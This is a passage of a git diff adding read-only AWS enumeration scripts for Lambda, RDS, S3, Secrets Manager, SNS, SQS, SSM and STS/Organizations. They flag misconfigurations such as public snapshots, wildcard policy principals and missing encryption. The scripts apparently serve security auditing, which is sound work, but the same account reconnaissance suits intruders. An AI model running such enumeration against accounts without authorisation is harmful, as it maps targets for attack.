?? new LambdaClient({ region }); + + const logger = opts.logger || createLogger(runDir, 'lambda'); + logger.log('info', 'Lambda_Enumeration_Start', { region }); + + // List all functions (paginated via Marker/NextMarker) + logger.log('api_call', 'ListFunctions', { service: 'lambda' }); + let functions; + try { + functions = await paginate(lambda, ListFunctionsCommand, 'Functions', { + tokenKey: 'Marker', + responseTokenKey: 'NextMarker', + }); + } catch (err) { + logger.log('error', 'ListFunctions', { error: err.message }); + await logger.flush(); + throw new Error(`ListFunctions failed: ${err.message}`); + } + + const findings = []; + const errors = []; + + for (const func of functions) { + // Get function URL config + let functionUrl = null; + try { + logger.log('api_call', 'GetFunctionUrlConfig', { function: func.FunctionName }); + const urlResp = await safeGetResource(() => + lambda.send(new GetFunctionUrlConfigCommand({ FunctionName: func.FunctionName })) + ); + if (urlResp) { + functionUrl = urlResp.FunctionUrl || null; + } + } catch (err) { + errors.push({ resource: func.FunctionName, error: `GetFunctionUrlConfig: ${err.message}` }); + logger.log('warning', 'GetFunctionUrlConfig', { function: func.FunctionName, error: err.message }); + } + + // Get resource policy + let resourcePolicyPrincipals = []; + try { + logger.log('api_call', 'GetPolicy', { function: func.FunctionName }); + const policyResp = await safeGetResource(() => + lambda.send(new GetPolicyCommand({ FunctionName: func.FunctionName })) + ); + if (policyResp && policyResp.Policy) { + resourcePolicyPrincipals = extractPolicyPrincipals(policyResp.Policy); + } + } catch (err) { + errors.push({ resource: func.FunctionName, error: `GetPolicy: ${err.message}` }); + logger.log('warning', 'GetPolicy', { function: func.FunctionName, error: err.message }); + } + + // Environment variable analysis (names only, never values) + const envVarNames = Object.keys(func.Environment?.Variables || {}); + const secretPatternNames = envVarNames.filter((n) => SECRET_PATTERNS.test(n)); + + // Layers + const layers = (func.Layers || []).map((l) => ({ + arn: l.Arn, + code_size: l.CodeSize || null, + })); + + const finding = { + resource_type: 'lambda_function', + resource_id: func.FunctionName, + arn: func.FunctionArn, + runtime: func.Runtime || null, + role: func.Role || null, + handler: func.Handler || null, + code_size: func.CodeSize || null, + timeout: func.Timeout || null, + memory_size: func.MemorySize || null, + last_modified: func.LastModified || null, + layers, + function_url: functionUrl, + resource_policy_principals: resourcePolicyPrincipals, + env_var_names: envVarNames, + secret_pattern_names: secretPatternNames, + findings: [], + }; + + // Findings + if (secretPatternNames.length > 0) { + finding.findings.push({ + type: 'secret_env_vars', + severity: 'high', + detail: `Function has ${secretPatternNames.length} env var(s) matching secret patterns: ${secretPatternNames.join(', ')}`, + }); + } + + if (functionUrl) { + finding.findings.push({ + type: 'function_url_enabled', + severity: 'info', + detail: `Function URL enabled: ${functionUrl}`, + }); + } + + if (resourcePolicyPrincipals.includes('*')) { + finding.findings.push({ + type: 'wildcard_resource_policy', + severity: 'high', + detail: 'Resource policy allows wildcard (*) principal', + }); + } + + findings.push(finding); + } + + let status = 'complete'; + if (errors.length > 0) status = 'partial'; + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'lambda', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/rds.js b/scripts/enum/rds.js new file mode 100644 index 0000000..74b9c29 --- /dev/null +++ b/scripts/enum/rds.js @@ -0,0 +1,212 @@ +'use strict'; + +const { + RDSClient, + DescribeDBInstancesCommand, + DescribeDBSnapshotsCommand, + DescribeDBSnapshotAttributesCommand, +} = require('@aws-sdk/client-rds'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Findings generation --- + +function generateInstanceFindings(instance) { + const findings = []; + + if (instance.publicly_accessible) { + findings.push({ + type: 'publicly_accessible', + severity: 'high', + detail: 'DB instance is publicly accessible', + }); + } + + if (!instance.storage_encrypted) { + findings.push({ + type: 'no_encryption', + severity: 'high', + detail: 'DB instance storage is not encrypted', + }); + } + + if (!instance.iam_auth_enabled) { + findings.push({ + type: 'no_iam_auth', + severity: 'low', + detail: 'IAM authentication is not enabled', + }); + } + + if (!instance.deletion_protection) { + findings.push({ + type: 'no_deletion_protection', + severity: 'low', + detail: 'Deletion protection is not enabled', + }); + } + + return findings; +} + +function generateSnapshotFindings(snapshot) { + const findings = []; + + if (snapshot.public) { + findings.push({ + type: 'public_snapshot', + severity: 'critical', + detail: 'DB snapshot is publicly accessible (shared with all)', + }); + } + + if (!snapshot.encrypted) { + findings.push({ + type: 'unencrypted_snapshot', + severity: 'high', + detail: 'DB snapshot is not encrypted', + }); + } + + if (snapshot.shared_with && snapshot.shared_with.length > 0) { + findings.push({ + type: 'shared_snapshot', + severity: 'medium', + detail: `Snapshot shared with ${snapshot.shared_with.length} account(s)`, + }); + } + + return findings; +} + +// --- Run (dependency-injectable) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const client = opts.clients?.rds ?? new RDSClient({ region }); + + const logger = opts.logger || createLogger(runDir, 'rds'); + logger.log('info', 'RDS_Enumeration_Start', { region }); + + const findings = []; + let status = 'complete'; + const errors = []; + + // --- DB Instances (Marker pagination) --- + let allInstances; + try { + logger.log('api_call', 'DescribeDBInstances', { service: 'rds' }); + allInstances = await paginate(client, DescribeDBInstancesCommand, 'DBInstances', { + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + } catch (err) { + logger.log('error', 'DescribeDBInstances', { error: err.message }); + await logger.flush(); + throw new Error(`DescribeDBInstances failed: ${err.message}`); + } + + for (const db of allInstances) { + const instanceFinding = { + resource_type: 'rds_instance', + resource_id: db.DBInstanceIdentifier, + arn: db.DBInstanceArn, + region, + engine: db.Engine, + engine_version: db.EngineVersion, + publicly_accessible: db.PubliclyAccessible || false, + storage_encrypted: db.StorageEncrypted || false, + kms_key_id: db.KmsKeyId || null, + iam_auth_enabled: db.IAMDatabaseAuthenticationEnabled || false, + deletion_protection: db.DeletionProtection || false, + security_groups: (db.VpcSecurityGroups || []).map((sg) => ({ + id: sg.VpcSecurityGroupId, + status: sg.Status, + })), + multi_az: db.MultiAZ || false, + findings: [], + }; + + instanceFinding.findings = generateInstanceFindings(instanceFinding); + findings.push(instanceFinding); + } + + // --- DB Snapshots (manual only, Marker pagination) --- + let allSnapshots; + try { + logger.log('api_call', 'DescribeDBSnapshots', { service: 'rds', type: 'manual' }); + allSnapshots = await paginate(client, DescribeDBSnapshotsCommand, 'DBSnapshots', { + params: { SnapshotType: 'manual' }, + tokenKey: 'Marker', + responseTokenKey: 'Marker', + }); + } catch (err) { + errors.push({ resource: 'snapshots', error: err.message }); + logger.log('error', 'DescribeDBSnapshots', { error: err.message }); + allSnapshots = []; + status = 'partial'; + } + + for (const snap of allSnapshots) { + const snapshotFinding = { + resource_type: 'rds_snapshot', + resource_id: snap.DBSnapshotIdentifier, + arn: snap.DBSnapshotArn, + region, + engine: snap.Engine, + encrypted: snap.Encrypted || false, + kms_key_id: snap.KmsKeyId || null, + db_instance_identifier: snap.DBInstanceIdentifier, + public: false, + shared_with: [], + findings: [], + }; + + // DescribeDBSnapshotAttributes — check for public/shared + try { + logger.log('api_call', 'DescribeDBSnapshotAttributes', { snapshot: snap.DBSnapshotIdentifier }); + const attrResp = await withRetry(() => + client.send(new DescribeDBSnapshotAttributesCommand({ + DBSnapshotIdentifier: snap.DBSnapshotIdentifier, + })) + ); + const attrResult = attrResp.DBSnapshotAttributesResult; + if (attrResult && attrResult.DBSnapshotAttributes) { + for (const attr of attrResult.DBSnapshotAttributes) { + if (attr.AttributeName === 'restore') { + const values = attr.AttributeValues || []; + if (values.includes('all')) { + snapshotFinding.public = true; + } + // Account IDs that are not 'all' + snapshotFinding.shared_with = values.filter((v) => v !== 'all'); + } + } + } + } catch (err) { + errors.push({ resource: snap.DBSnapshotIdentifier, error: err.message }); + logger.log('warning', 'DescribeDBSnapshotAttributes', { + snapshot: snap.DBSnapshotIdentifier, + error: err.message, + }); + } + + snapshotFinding.findings = generateSnapshotFindings(snapshotFinding); + findings.push(snapshotFinding); + } + + if (errors.length > 0 && status === 'complete') status = 'partial'; + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'rds', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/s3.js b/scripts/enum/s3.js new file mode 100644 index 0000000..5cff3f9 --- /dev/null +++ b/scripts/enum/s3.js @@ -0,0 +1,292 @@ +'use strict'; + +const { + S3Client, + ListBucketsCommand, + GetBucketLocationCommand, + GetBucketPolicyCommand, + GetPublicAccessBlockCommand, + GetBucketVersioningCommand, + GetBucketEncryptionCommand, + GetBucketLoggingCommand, + GetBucketAclCommand, +} = require('@aws-sdk/client-s3'); +// NO STS import — base-enum handles it + +const { withRetry, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Helpers --- + +/** + * Normalizes the LocationConstraint response to a region string. + * null/empty means us-east-1 (S3 legacy behavior). + */ +function normalizeBucketRegion(locationConstraint) { + if (!locationConstraint || locationConstraint === '') return 'us-east-1'; + if (locationConstraint === 'EU') return 'eu-west-1'; + return locationConstraint; +} + +/** + * Safely calls an S3 API, returning null for expected "not configured" errors. + */ +async function safeGetBucketConfig(fn, notFoundCodes) { + try { + return await withRetry(fn); + } catch (err) { + const code = err.name || err.Code || ''; + if (notFoundCodes.includes(code)) { + return null; + } + throw err; + } +} + +// --- Findings generation --- + +function generateFindings(bucket) { + const findings = []; + + // Public access check via ACL + if (bucket.acl_grants) { + const publicGrants = bucket.acl_grants.filter( + (g) => g.grantee_uri && ( + g.grantee_uri.includes('AllUsers') || + g.grantee_uri.includes('AuthenticatedUsers') + ) + ); + if (publicGrants.length > 0) { + findings.push({ + type: 'public_acl', + severity: 'high', + detail: `Bucket has ${publicGrants.length} public ACL grant(s)`, + }); + } + } + + // Public access block not set + if (!bucket.public_access_block) { + findings.push({ + type: 'no_public_access_block', + severity: 'medium', + detail: 'No public access block configuration set', + }); + } else { + const pab = bucket.public_access_block; + if (!pab.BlockPublicAcls || !pab.IgnorePublicAcls || !pab.BlockPublicPolicy || !pab.RestrictPublicBuckets) { + findings.push({ + type: 'partial_public_access_block', + severity: 'medium', + detail: 'Public access block is not fully restrictive', + }); + } + } + + // No encryption + if (!bucket.encryption) { + findings.push({ + type: 'no_encryption', + severity: 'medium', + detail: 'No default server-side encryption configured', + }); + } + + // No versioning + if (!bucket.versioning || bucket.versioning.Status !== 'Enabled') { + findings.push({ + type: 'no_versioning', + severity: 'low', + detail: 'Bucket versioning is not enabled', + }); + } + + // Overly permissive policy (wildcard principal) + if (bucket.policy) { + try { + const doc = JSON.parse(bucket.policy); + const statements = Array.isArray(doc.Statement) ? doc.Statement : []; + for (const stmt of statements) { + if (stmt.Effect !== 'Allow') continue; + const principal = stmt.Principal; + if (principal === '*' || (principal && principal.AWS === '*')) { + findings.push({ + type: 'public_policy', + severity: 'high', + detail: 'Bucket policy allows wildcard principal', + }); + break; + } + } + } catch { + // unparseable policy — skip + } + } + + return findings; +} + +// --- Run (dependency-injectable) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const s3Client = opts.clients?.s3 ?? new S3Client({ region: 'us-east-1' }); + + const logger = opts.logger || createLogger(runDir, 's3'); + logger.log('info', 'S3_Enumeration_Start', { region }); + + // ListBuckets is global — use the provided s3 client (defaults to us-east-1) + let allBuckets; + try { + logger.log('api_call', 'ListBuckets', { service: 's3' }); + const resp = await withRetry(() => s3Client.send(new ListBucketsCommand({}))); + allBuckets = resp.Buckets || []; + } catch (err) { + logger.log('error', 'ListBuckets', { error: err.message }); + await logger.flush(); + throw new Error(`ListBuckets failed: ${err.message}`); + } + + // Discover bucket regions and filter to requested region + const findings = []; + let status = 'complete'; + const errors = []; + + for (const bucket of allBuckets) { + const bucketName = bucket.Name; + let bucketRegion; + + try { + logger.log('api_call', 'GetBucketLocation', { bucket: bucketName }); + const locResp = await withRetry(() => + s3Client.send(new GetBucketLocationCommand({ Bucket: bucketName })) + ); + bucketRegion = normalizeBucketRegion(locResp.LocationConstraint); + } catch (err) { + // Can't determine region — skip bucket + errors.push({ resource: bucketName, error: err.message }); + logger.log('warning', 'GetBucketLocation', { bucket: bucketName, error: err.message }); + continue; + } + + // Only enumerate buckets in the requested region + if (bucketRegion !== region) continue; + + // Use the provided client for regional requests too + const regionalClient = s3Client; + + const bucketFinding = { + resource_type: 's3_bucket', + resource_id: bucketName, + arn: `arn:aws:s3:::${bucketName}`, + region: bucketRegion, + policy: null, + public_access_block: null, + versioning: null, + encryption: null, + logging: null, + acl_grants: null, + findings: [], + }; + + // GetBucketPolicy + try { + logger.log('api_call', 'GetBucketPolicy', { bucket: bucketName }); + const policyResp = await safeGetBucketConfig( + () => regionalClient.send(new GetBucketPolicyCommand({ Bucket: bucketName })), + ['NoSuchBucketPolicy'] + ); + bucketFinding.policy = policyResp ? policyResp.Policy : null; + } catch (err) { + errors.push({ resource: bucketName, error: `GetBucketPolicy: ${err.message}` }); + logger.log('warning', 'GetBucketPolicy', { bucket: bucketName, error: err.message }); + } + + // GetPublicAccessBlock + try { + logger.log('api_call', 'GetPublicAccessBlock', { bucket: bucketName }); + const pabResp = await safeGetBucketConfig( + () => regionalClient.send(new GetPublicAccessBlockCommand({ Bucket: bucketName })), + ['NoSuchPublicAccessBlockConfiguration'] + ); + bucketFinding.public_access_block = pabResp ? pabResp.PublicAccessBlockConfiguration : null; + } catch (err) { + errors.push({ resource: bucketName, error: `GetPublicAccessBlock: ${err.message}` }); + logger.log('warning', 'GetPublicAccessBlock', { bucket: bucketName, error: err.message }); + } + + // GetBucketVersioning + try { + logger.log('api_call', 'GetBucketVersioning', { bucket: bucketName }); + const verResp = await withRetry(() => + regionalClient.send(new GetBucketVersioningCommand({ Bucket: bucketName })) + ); + bucketFinding.versioning = { Status: verResp.Status || null, MFADelete: verResp.MFADelete || null }; + } catch (err) { + errors.push({ resource: bucketName, error: `GetBucketVersioning: ${err.message}` }); + logger.log('warning', 'GetBucketVersioning', { bucket: bucketName, error: err.message }); + } + + // GetBucketEncryption + try { + logger.log('api_call', 'GetBucketEncryption', { bucket: bucketName }); + const encResp = await safeGetBucketConfig( + () => regionalClient.send(new GetBucketEncryptionCommand({ Bucket: bucketName })), + ['ServerSideEncryptionConfigurationNotFoundError'] + ); + bucketFinding.encryption = encResp + ? encResp.ServerSideEncryptionConfiguration + : null; + } catch (err) { + errors.push({ resource: bucketName, error: `GetBucketEncryption: ${err.message}` }); + logger.log('warning', 'GetBucketEncryption', { bucket: bucketName, error: err.message }); + } + + // GetBucketLogging + try { + logger.log('api_call', 'GetBucketLogging', { bucket: bucketName }); + const logResp = await withRetry(() => + regionalClient.send(new GetBucketLoggingCommand({ Bucket: bucketName })) + ); + bucketFinding.logging = logResp.LoggingEnabled || null; + } catch (err) { + errors.push({ resource: bucketName, error: `GetBucketLogging: ${err.message}` }); + logger.log('warning', 'GetBucketLogging', { bucket: bucketName, error: err.message }); + } + + // GetBucketAcl + try { + logger.log('api_call', 'GetBucketAcl', { bucket: bucketName }); + const aclResp = await withRetry(() => + regionalClient.send(new GetBucketAclCommand({ Bucket: bucketName })) + ); + bucketFinding.acl_grants = (aclResp.Grants || []).map((g) => ({ + grantee_type: g.Grantee?.Type || null, + grantee_id: g.Grantee?.ID || null, + grantee_uri: g.Grantee?.URI || null, + permission: g.Permission || null, + })); + } catch (err) { + errors.push({ resource: bucketName, error: `GetBucketAcl: ${err.message}` }); + logger.log('warning', 'GetBucketAcl', { bucket: bucketName, error: err.message }); + } + + // Generate findings + bucketFinding.findings = generateFindings(bucketFinding); + findings.push(bucketFinding); + } + + if (errors.length > 0) status = 'partial'; + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 's3', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/secrets.js b/scripts/enum/secrets.js new file mode 100644 index 0000000..8b0a53f --- /dev/null +++ b/scripts/enum/secrets.js @@ -0,0 +1,130 @@ +'use strict'; + +const { + SecretsManagerClient, + ListSecretsCommand, + GetResourcePolicyCommand, +} = require('@aws-sdk/client-secrets-manager'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); +const { extractPolicyPrincipals } = require('../lib/policy-parser'); + +// --- Helpers --- + +function generateFindings(secret) { + const findings = []; + + if (!secret.rotation_enabled) { + findings.push({ + type: 'no_rotation', + severity: 'medium', + detail: 'Secret rotation is not enabled', + }); + } + + if (secret.resource_policy_principals && secret.resource_policy_principals.includes('*')) { + findings.push({ + type: 'wildcard_principal', + severity: 'high', + detail: 'Secret resource policy allows wildcard principal', + }); + } + + // Stale secret (not accessed in 90+ days) + if (secret.last_accessed_date) { + const daysSinceAccess = Math.floor( + (Date.now() - new Date(secret.last_accessed_date).getTime()) / (1000 * 60 * 60 * 24) + ); + if (daysSinceAccess >= 90) { + findings.push({ + type: 'stale_secret', + severity: 'low', + detail: `Secret not accessed in ${daysSinceAccess} days`, + }); + } + } + + return findings; +} + +// --- Run (dependency-injectable) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const client = opts.clients?.secrets ?? new SecretsManagerClient({ region }); + + const logger = opts.logger || createLogger(runDir, 'secrets'); + logger.log('info', 'Secrets_Enumeration_Start', { region }); + + const findings = []; + let status = 'complete'; + const errors = []; + + // ListSecrets (paginated) + let allSecrets; + try { + logger.log('api_call', 'ListSecrets', { service: 'secretsmanager' }); + allSecrets = await paginate(client, ListSecretsCommand, 'SecretList', {}); + } catch (err) { + logger.log('error', 'ListSecrets', { error: err.message }); + await logger.flush(); + throw new Error(`ListSecrets failed: ${err.message}`); + } + + // Per-secret: GetResourcePolicy + for (const secret of allSecrets) { + const secretName = secret.Name; + const secretArn = secret.ARN; + + const secretFinding = { + resource_type: 'secrets_secret', + resource_id: secretName, + arn: secretArn, + region, + rotation_enabled: secret.RotationEnabled || false, + last_rotated_date: secret.LastRotatedDate?.toISOString() || null, + last_accessed_date: secret.LastAccessedDate?.toISOString() || null, + kms_key_id: secret.KmsKeyId || null, + resource_policy_principals: [], + findings: [], + }; + + // GetResourcePolicy + try { + logger.log('api_call', 'GetResourcePolicy', { secret: secretName }); + const policyResp = await withRetry(() => + client.send(new GetResourcePolicyCommand({ SecretId: secretArn })) + ); + if (policyResp.ResourcePolicy) { + secretFinding.resource_policy_principals = extractPolicyPrincipals(policyResp.ResourcePolicy); + } + } catch (err) { + const code = err.name || err.Code || ''; + if (code === 'ResourceNotFoundException') { + // Secret may have been deleted between list and get + logger.log('warning', 'GetResourcePolicy', { secret: secretName, error: 'ResourceNotFound' }); + continue; + } + errors.push({ resource: secretName, error: err.message }); + logger.log('warning', 'GetResourcePolicy', { secret: secretName, error: err.message }); + } + + secretFinding.findings = generateFindings(secretFinding); + findings.push(secretFinding); + } + + if (errors.length > 0) status = 'partial'; + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'secrets', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/sns.js b/scripts/enum/sns.js new file mode 100644 index 0000000..1a0e0c7 --- /dev/null +++ b/scripts/enum/sns.js @@ -0,0 +1,97 @@ +'use strict'; + +const { + SNSClient, + ListTopicsCommand, + GetTopicAttributesCommand, +} = require('@aws-sdk/client-sns'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); +const { extractPolicyPrincipals } = require('../lib/policy-parser'); + +// --- Helpers --- + +/** + * Extracts topic name from ARN (last segment after ':'). + */ +function topicNameFromArn(arn) { + if (!arn) return null; + const parts = arn.split(':'); + return parts[parts.length - 1]; +} + +// --- Exported run() for testing --- + +async function run(opts = {}) { + const { runDir, region } = opts; + const accountId = opts.accountId; + + if (!runDir || !region) { + throw new Error('runDir and region are required'); + } + + const client = opts.clients?.sns ?? new SNSClient({ region }); + + const logger = opts.logger || createLogger(runDir, 'sns'); + logger.log('info', 'SNS_Enumeration_Start', { region }); + + const findings = []; + let status = 'complete'; + const errors = []; + + // List all topics (paginated via NextToken) + let topics; + try { + logger.log('api_call', 'ListTopics', { region }); + topics = await paginate(client, ListTopicsCommand, 'Topics', {}); + } catch (err) { + logger.log('error', 'ListTopics', { error: err.message }); + await logger.flush(); + throw new Error(`ListTopics failed: ${err.message}`); + } + + // Per-topic: GetTopicAttributes + for (const topic of topics) { + const topicArn = topic.TopicArn; + const topicName = topicNameFromArn(topicArn); + + try { + logger.log('api_call', 'GetTopicAttributes', { topic: topicArn }); + const resp = await withRetry(() => + client.send(new GetTopicAttributesCommand({ TopicArn: topicArn })) + ); + const attrs = resp.Attributes || {}; + + const policy = attrs.Policy || null; + const principals = extractPolicyPrincipals(policy); + const kmsKeyId = attrs.KmsMasterKeyId || null; + const subscriptionsConfirmed = parseInt(attrs.SubscriptionsConfirmed, 10) || 0; + + findings.push({ + resource_type: 'sns_topic', + resource_id: topicName, + arn: topicArn, + region, + resource_policy: principals.length > 0 ? { principals } : null, + kms_key_id: kmsKeyId, + subscriptions_confirmed: subscriptionsConfirmed, + findings: [], + }); + } catch (err) { + errors.push({ resource: topicArn, error: err.message }); + logger.log('warning', 'GetTopicAttributes', { topic: topicArn, error: err.message }); + } + } + + if (errors.length > 0) status = 'partial'; + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'sns', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/sqs.js b/scripts/enum/sqs.js new file mode 100644 index 0000000..b9ea2d4 --- /dev/null +++ b/scripts/enum/sqs.js @@ -0,0 +1,118 @@ +'use strict'; + +const { + SQSClient, + ListQueuesCommand, + GetQueueAttributesCommand, +} = require('@aws-sdk/client-sqs'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); +const { extractPolicyPrincipals } = require('../lib/policy-parser'); + +// --- Helpers --- + +/** + * Extracts queue name from URL (last segment after '/'). + */ +function queueNameFromUrl(url) { + if (!url) return null; + const parts = url.split('/'); + return parts[parts.length - 1]; +} + +/** + * Extracts DLQ ARN from RedrivePolicy JSON string. + */ +function extractDlqArn(redrivePolicyJson) { + if (!redrivePolicyJson) return null; + try { + const policy = JSON.parse(redrivePolicyJson); + return policy.deadLetterTargetArn || null; + } catch { + return null; + } +} + +// --- Exported run() for testing --- + +async function run(opts = {}) { + const { runDir, region } = opts; + const accountId = opts.accountId; + + if (!runDir || !region) { + throw new Error('runDir and region are required'); + } + + const client = opts.clients?.sqs ?? new SQSClient({ region }); + + const logger = opts.logger || createLogger(runDir, 'sqs'); + logger.log('info', 'SQS_Enumeration_Start', { region }); + + const findings = []; + let status = 'complete'; + const errors = []; + + // List all queues (paginated via NextToken) + let queueUrls; + try { + logger.log('api_call', 'ListQueues', { region }); + queueUrls = await paginate(client, ListQueuesCommand, 'QueueUrls', {}); + } catch (err) { + logger.log('error', 'ListQueues', { error: err.message }); + await logger.flush(); + throw new Error(`ListQueues failed: ${err.message}`); + } + + // Per-queue: GetQueueAttributes (All) + for (const queueUrl of queueUrls) { + const queueName = queueNameFromUrl(queueUrl); + + try { + logger.log('api_call', 'GetQueueAttributes', { queue: queueUrl }); + const resp = await withRetry(() => + client.send(new GetQueueAttributesCommand({ + QueueUrl: queueUrl, + AttributeNames: ['All'], + })) + ); + const attrs = resp.Attributes || {}; + + const queueArn = attrs.QueueArn || null; + const policy = attrs.Policy || null; + const principals = extractPolicyPrincipals(policy); + const isFifo = (attrs.FifoQueue === 'true'); + const dlqArn = extractDlqArn(attrs.RedrivePolicy); + const kmsKeyId = attrs.KmsMasterKeyId || null; + const visibilityTimeout = parseInt(attrs.VisibilityTimeout, 10) || 30; + + findings.push({ + resource_type: 'sqs_queue', + resource_id: queueName, + arn: queueArn, + region, + queue_url: queueUrl, + resource_policy: principals.length > 0 ? { principals } : null, + fifo: isFifo, + dlq_arn: dlqArn, + kms_key_id: kmsKeyId, + visibility_timeout: visibilityTimeout, + findings: [], + }); + } catch (err) { + errors.push({ resource: queueUrl, error: err.message }); + logger.log('warning', 'GetQueueAttributes', { queue: queueUrl, error: err.message }); + } + } + + if (errors.length > 0) status = 'partial'; + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'sqs', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/ssm.js b/scripts/enum/ssm.js new file mode 100644 index 0000000..72a2245 --- /dev/null +++ b/scripts/enum/ssm.js @@ -0,0 +1,111 @@ +'use strict'; + +const { + SSMClient, + DescribeParametersCommand, + GetResourcePolicyCommand, +} = require('@aws-sdk/client-ssm'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Resource policy (per-parameter) --- + +async function getResourcePolicy(client, parameterName, logger) { + logger.log('api_call', 'GetResourcePolicy', { parameter: parameterName }); + try { + const response = await withRetry(() => + client.send(new GetResourcePolicyCommand({ ResourceArn: parameterName })) + ); + if (response.Policy) { + try { + return JSON.parse(response.Policy); + } catch { + return response.Policy; + } + } + return null; + } catch (err) { + // No policy set, or API not available for this parameter + if (err.name === 'ResourceNotFoundException' || err.name === 'PolicyNotFoundException' || + err.name === 'ParameterNotFoundException' || err.name === 'InvalidResourceId' || + err.name === 'AccessDeniedException') { + return null; + } + logger.log('warning', 'GetResourcePolicy_Failed', { parameter: parameterName, error: err.message }); + return null; + } +} + +// --- Run (exported for testing) --- + +async function run(opts = {}) { + const runDir = opts.runDir; + const region = opts.region; + const accountId = opts.accountId; + + const logger = opts.logger || createLogger(runDir, 'ssm'); + let status = 'complete'; + const partialErrors = []; + + // SSM client + const client = opts.clients?.ssm ?? new SSMClient({ region }); + + // DescribeParameters — paginated (metadata only, NEVER reads values) + logger.log('api_call', 'DescribeParameters', { note: 'metadata only — no value access' }); + const parameters = await paginate(client, DescribeParametersCommand, 'Parameters', { + tokenKey: 'NextToken', + responseTokenKey: 'NextToken', + }); + + logger.log('info', 'ParametersDiscovered', { count: parameters.length }); + + // Enumerate each parameter + const findings = []; + + for (const param of parameters) { + try { + // Build ARN: arn:aws:ssm:{region}:{account}:parameter{name} + // SSM parameter names start with / so the ARN has no separator + const paramArn = `arn:aws:ssm:${region}:${accountId}:parameter${param.Name.startsWith('/') ? '' : '/'}${param.Name}`; + + // KMS key for SecureString parameters + const kmsKeyId = param.Type === 'SecureString' ? (param.KeyId || 'alias/aws/ssm') : null; + + // Resource policy + const resourcePolicy = await getResourcePolicy(client, paramArn, logger); + + findings.push({ + resource_type: 'ssm_parameter', + resource_id: param.Name, + arn: paramArn, + region, + type: param.Type || null, + tier: param.Tier || 'Standard', + kms_key_id: kmsKeyId, + data_type: param.DataType || null, + last_modified: param.LastModifiedDate ? (param.LastModifiedDate instanceof Date ? param.LastModifiedDate.toISOString() : String(param.LastModifiedDate)) : null, + version: param.Version || null, + has_resource_policy: resourcePolicy !== null, + resource_policy: resourcePolicy, + findings: [], + }); + } catch (err) { + partialErrors.push({ parameter: param.Name, error: err.message }); + logger.log('error', 'ParameterEnumeration_Failed', { parameter: param.Name, error: err.message }); + } + } + + if (partialErrors.length > 0) { + status = 'partial'; + } + + await logger.flush(); + return { findings, status }; +} + +if (require.main === module) { + baseEnum({ module: 'ssm', run }); +} + +module.exports = { run }; diff --git a/scripts/enum/sts.js b/scripts/enum/sts.js new file mode 100644 index 0000000..961b4b5 --- /dev/null +++ b/scripts/enum/sts.js @@ -0,0 +1,173 @@ +'use strict'; + +const { STSClient, GetCallerIdentityCommand } = require('@aws-sdk/client-sts'); +const { + OrganizationsClient, + DescribeOrganizationCommand, + ListPoliciesCommand, + DescribePolicyCommand, + ListTargetsForPolicyCommand, +} = require('@aws-sdk/client-organizations'); + +const { withRetry, paginate, createLogger } = require('../lib'); +const { baseEnum } = require('../lib/base-enum'); + +// --- Principal type detection --- + +function derivePrincipalType(arn) { + if (!arn) return 'unknown'; + if (arn.includes(':assumed-role/')) return 'assumed-role'; + if (arn.includes(':role/')) return 'role'; + if (arn.includes(':user/')) return 'user'; + if (arn.includes(':federated-user/')) return 'federated-user'; + if (arn.includes(':root')) return 'root'; + return 'unknown'; +} + +// --- Run (DI-injectable) --- + +async function run(opts = {}) { + const { runDir } = opts; + const stsClient = opts.clients && opts.clients.sts ? opts.clients.sts : new STSClient({}); + const orgsClient = opts.clients && opts.clients.organizations ? opts.clients.organizations : new OrganizationsClient({}); + + const logger = opts.logger || createLogger(runDir, 'sts'); + const findings = []; + let status = 'complete'; + + // --- Step 1: GetCallerIdentity (fatal on failure) --- + let identity; + try { + logger.log('api_call', 'GetCallerIdentity', { service: 'sts' }); + identity = await withRetry(() => stsClient.send(new GetCallerIdentityCommand({}))); + } catch (err) { + logger.log('error', 'GetCallerIdentity', { error: err.message }); + await logger.flush(); + console.error(`FATAL: GetCallerIdentity failed: ${err.message}`); + throw err; + } + + const accountId = identity.Account; + const callerArn = identity.Arn; + const userId = identity.UserId; + + findings.push({ + resource_type: 'sts_identity', + resource_id: 'caller', + arn: callerArn, + region: 'global', + account_id: accountId, + user_id: userId, + principal_type: derivePrincipalType(callerArn), + findings: [], + }); + + logger.log('info', 'CallerIdentity resolved', { account_id: accountId, arn: callerArn }); + + // --- Step 2: Organizations discovery (best-effort) --- + let orgAccessible = false; + + try { + logger.log('api_call', 'DescribeOrganization', { service: 'organizations' }); + const orgResp = await withRetry(() => orgsClient.send(new DescribeOrganizationCommand({}))); + const org = orgResp.Organization; + + orgAccessible = true; + findings.push({ + resource_type: 'sts_organization', + resource_id: org.Id, + arn: org.Arn, + region: 'global', + master_account_id: org.MasterAccountId, + available_policy_types: (org.AvailablePolicyTypes || []) + .filter((pt) => pt.Status === 'ENABLED') + .map((pt) => pt.Type), + findings: [], + }); + + logger.log('info', 'Organization discovered', { org_id: org.Id }); + } catch (err) { + const code 